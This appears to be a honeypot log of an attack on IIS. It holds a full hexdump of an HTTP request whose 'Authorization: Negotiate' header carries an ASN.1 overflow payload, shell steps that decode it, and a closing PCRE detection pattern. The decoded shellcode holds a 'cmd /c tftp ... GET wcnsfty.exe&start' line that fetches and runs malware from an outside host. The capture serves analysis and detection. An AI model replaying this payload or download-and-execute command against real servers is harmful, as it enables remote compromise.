[10072005 10:24:00 warn dia] Unknown IIS POST foobar 2048 bytes Sate 0 [10072005 10:24:00 dia] =------------------[ hexdump(0x1c1b6210 , 0x00000800) ]-------------------= [10072005 10:24:00 dia] 0x0000 47 45 54 20 2f 20 48 54 54 50 2f 31 2e 30 0d 0a GET / HT TP/1.0.. [10072005 10:24:00 dia] 0x0010 48 6f 73 74 3a XX XX XX XX XX XX XX XX XX XX XX Host: XX XXXXXXXX [10072005 10:24:00 dia] 0x0020 XX XX XX XX 0d 0a 41 75 74 68 6f 72 69 7a 61 74 XXXX..Au thorizat [10072005 10:24:00 dia] 0x0030 69 6f 6e 3a 20 4e 65 67 6f 74 69 61 74 65 20 59 ion: Neg otiate Y [10072005 10:24:00 dia] 0x0040 49 49 51 65 67 59 47 4b 77 59 42 42 51 55 43 6f IIQegYGK wYBBQUCo [10072005 10:24:00 dia] 0x0050 49 49 51 62 6a 43 43 45 47 71 68 67 68 42 6d 49 IIQbjCCE GqhghBmI [10072005 10:24:00 dia] 0x0060 34 49 51 59 67 4f 43 42 41 45 41 51 55 46 42 51 4IQYgOCB AEAQUFBQ [10072005 10:24:00 dia] 0x0070 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0080 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0090 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x00a0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x00b0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x00c0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x00d0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x00e0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x00f0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0100 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0110 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0120 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0130 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0140 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0150 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0160 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0170 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0180 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0190 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x01a0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x01b0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x01c0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x01d0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x01e0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x01f0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0200 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0210 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0220 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0230 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0240 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0250 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0260 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0270 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0280 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0290 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x02a0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x02b0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x02c0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x02d0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x02e0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x02f0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0300 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0310 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0320 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0330 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0340 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0350 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0360 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0370 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0380 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0390 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x03a0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x03b0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x03c0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x03d0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x03e0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x03f0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0400 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0410 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:00 dia] 0x0420 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:01 dia] 0x0430 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:01 dia] 0x0440 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:01 dia] 0x0450 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:01 dia] 0x0460 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:01 dia] 0x0470 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:01 dia] 0x0480 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:01 dia] 0x0490 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:01 dia] 0x04a0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:01 dia] 0x04b0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:01 dia] 0x04c0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:01 dia] 0x04d0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:01 dia] 0x04e0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:01 dia] 0x04f0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:01 dia] 0x0500 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:01 dia] 0x0510 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:01 dia] 0x0520 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:01 dia] 0x0530 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:01 dia] 0x0540 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:01 dia] 0x0550 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:01 dia] 0x0560 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:01 dia] 0x0570 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:01 dia] 0x0580 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:01 dia] 0x0590 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:01 dia] 0x05a0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:01 dia] 0x05b0 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 UFBQUFBQ UFBQUFBQ [10072005 10:24:01 dia] 0x05c0 51 4d 41 49 34 49 4d 56 77 4f 43 42 41 6f 41 6b QMAI4IMV wOCBAoAk [10072005 10:24:01 dia] 0x05d0 45 4b 51 51 70 42 43 6b 45 4b 42 78 46 54 79 2f EKQQpBCk EKBxFTy/ [10072005 10:24:01 dia] 0x05e0 2f 2f 38 36 45 59 41 41 41 43 4c 52 54 79 4c 66 //86EYAA ACLRTyLf [10072005 10:24:01 dia] 0x05f0 41 56 34 41 65 2b 4c 54 78 69 4c 58 79 41 42 36 AV4Ae+LT xiLXyAB6 [10072005 10:24:01 dia] 0x0600 2b 4d 75 53 59 73 30 69 77 48 75 4d 63 43 5a 72 +MuSYs0i wHuMcCZr [10072005 10:24:01 dia] 0x0610 49 54 41 64 41 66 42 79 67 30 42 77 75 76 30 4f ITAdAfBy g0Bwuv0O [10072005 10:24:01 dia] 0x0620 31 51 6b 42 48 58 6a 69 31 38 6b 41 65 74 6d 69 1QkBHXji 18kAetmi [10072005 10:24:01 dia] 0x0630 77 78 4c 69 31 38 63 41 65 75 4c 48 49 73 42 36 wxLi18cA euLHIsB6 [10072005 10:24:01 dia] 0x0640 34 6c 63 4a 41 54 44 4d 63 42 6b 69 30 41 77 68 4lcJATDM cBki0Awh [10072005 10:24:01 dia] 0x0650 63 42 34 44 34 74 41 44 49 74 77 48 4b 32 4c 61 cB4D4tAD ItwHK2La [10072005 10:24:01 dia] 0x0660 41 6a 70 43 77 41 41 41 49 74 41 4e 41 56 38 41 AjpCwAAA ItANAV8A [10072005 10:24:01 dia] 0x0670 41 41 41 69 32 67 38 58 7a 48 32 59 46 62 72 44 AAAi2g8X zH2YFbrD [10072005 10:24:01 dia] 0x0680 57 6a 76 7a 75 42 67 61 4a 6a 2b 69 67 35 58 2f WjvzuBga Jj+ig5X/ [10072005 10:24:01 dia] 0x0690 2b 66 6f 37 76 2f 2f 2f 32 4e 74 5a 43 41 76 59 +fo7v/// 2NtZCAvY [10072005 10:24:01 dia] 0x06a0 79 42 30 5a 6e 52 77 49 43 31 70 49 44 45 7a 4e yB0ZnRwI C1pIDEzN [10072005 10:24:01 dia] 0x06b0 43 34 78 4e 6a 6b 75 4d 54 63 31 4c 6a 45 32 4e C4xNjkuM Tc1LjE2N [10072005 10:24:01 dia] 0x06c0 79 42 48 52 56 51 67 64 32 4e 75 63 32 5a 30 65 yBHRVQgd 2Nuc2Z0e [10072005 10:24:01 dia] 0x06d0 53 35 6c 65 47 55 6d 63 33 52 68 63 6e 51 67 64 S5leGUmc 3RhcnQgd [10072005 10:24:01 dia] 0x06e0 32 4e 75 63 32 5a 30 65 53 35 6c 65 47 55 6d 5a 2Nuc2Z0e S5leGUmZ [10072005 10:24:01 dia] 0x06f0 58 68 70 64 41 42 43 51 6b 4a 43 51 6b 4a 43 51 XhpdABCQ kJCQkJCQ [10072005 10:24:01 dia] 0x0700 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 kJCQkJCQ kJCQkJCQ [10072005 10:24:01 dia] 0x0710 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 kJCQkJCQ kJCQkJCQ [10072005 10:24:01 dia] 0x0720 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 kJCQkJCQ kJCQkJCQ [10072005 10:24:01 dia] 0x0730 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 kJCQkJCQ kJCQkJCQ [10072005 10:24:01 dia] 0x0740 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 kJCQkJCQ kJCQkJCQ [10072005 10:24:01 dia] 0x0750 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 kJCQkJCQ kJCQkJCQ [10072005 10:24:01 dia] 0x0760 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 kJCQkJCQ kJCQkJCQ [10072005 10:24:01 dia] 0x0770 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 kJCQkJCQ kJCQkJCQ [10072005 10:24:01 dia] 0x0780 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 kJCQkJCQ kJCQkJCQ [10072005 10:24:01 dia] 0x0790 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 kJCQkJCQ kJCQkJCQ [10072005 10:24:01 dia] 0x07a0 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 kJCQkJCQ kJCQkJCQ [10072005 10:24:01 dia] 0x07b0 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 kJCQkJCQ kJCQkJCQ [10072005 10:24:01 dia] 0x07c0 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 kJCQkJCQ kJCQkJCQ [10072005 10:24:01 dia] 0x07d0 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 kJCQkJCQ kJCQkJCQ [10072005 10:24:01 dia] 0x07e0 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 kJCQkJCQ kJCQkJCQ [10072005 10:24:01 dia] 0x07f0 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 6b 4a 43 51 kJCQkJCQ kJCQkJCQ [10072005 10:24:01 dia] =-------------------------------------------------------------------------=
firefox http://isc.sans.org/diary.php?date=2005-06-03 apt-get install metamail cat /tmp/mimetest.txt | cut -b 83- | sed "s/ //g" > /tmp/mimetest.dec mimencode -u /tmp/mimetest.dec | hexdump -C Warning: base64 decoder saw premature EOF! 00000000 60 82 10 7a 06 06 2b 06 01 05 05 02 a0 82 10 6e |`..z..+..... ..n| 00000010 30 82 10 6a a1 82 10 66 23 82 10 62 03 82 04 01 |0..j¡..f#..b....| 00000020 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |.AAAAAAAAAAAAAAA| 00000030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| * 00000420 41 03 00 23 82 0c 57 03 82 04 0a 00 90 42 90 42 |A..#..W......B.B| 00000430 90 42 90 42 81 c4 54 f2 ff ff fc e8 46 00 00 00 |.B.B.ÄTòÿÿüèF...| 00000440 8b 45 3c 8b 7c 05 78 01 ef 8b 4f 18 8b 5f 20 01 |.E<.|.x.ï.O.._ .| 00000450 eb e3 2e 49 8b 34 8b 01 ee 31 c0 99 ac 84 c0 74 |ëã.I.4..î1À.¬.Àt| 00000460 07 c1 ca 0d 01 c2 eb f4 3b 54 24 04 75 e3 8b 5f |.ÁÊ..Âëô;T$.uã._| 00000470 24 01 eb 66 8b 0c 4b 8b 5f 1c 01 eb 8b 1c 8b 01 |$.ëf..K._..ë....| 00000480 eb 89 5c 24 04 c3 31 c0 64 8b 40 30 85 c0 78 0f |ë.\$.Ã1Àd.@0.Àx.| 00000490 8b 40 0c 8b 70 1c ad 8b 68 08 e9 0b 00 00 00 8b |.@..p..h.é.....| 000004a0 40 34 05 7c 00 00 00 8b 68 3c 5f 31 f6 60 56 eb |@4.|....h<_1ö`Vë| 000004b0 0d 68 ef ce e0 60 68 98 fe 8a 0e 57 ff e7 e8 ee |.hïÎà`h.þ..Wÿçèî| 000004c0 ff ff ff 63 6d 64 20 2f 63 20 74 66 74 70 20 2d |ÿÿÿcmd /c tftp -| 000004d0 69 20 31 33 34 2e 31 36 39 2e 31 37 35 2e 31 36 |i 134.169.175.16| 000004e0 37 20 47 45 54 20 77 63 6e 73 66 74 79 2e 65 78 |7 GET wcnsfty.ex| 000004f0 65 26 73 74 61 72 74 20 77 63 6e 73 66 74 79 2e |e&start wcnsfty.| 00000500 65 78 65 26 65 78 69 74 00 42 42 42 42 42 42 42 |exe&exit.BBBBBBB| 00000510 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 |BBBBBBBBBBBBBBBB| * 000005d0
const char *pcre = "GET.*Authorization.*Negotiate (.*)";
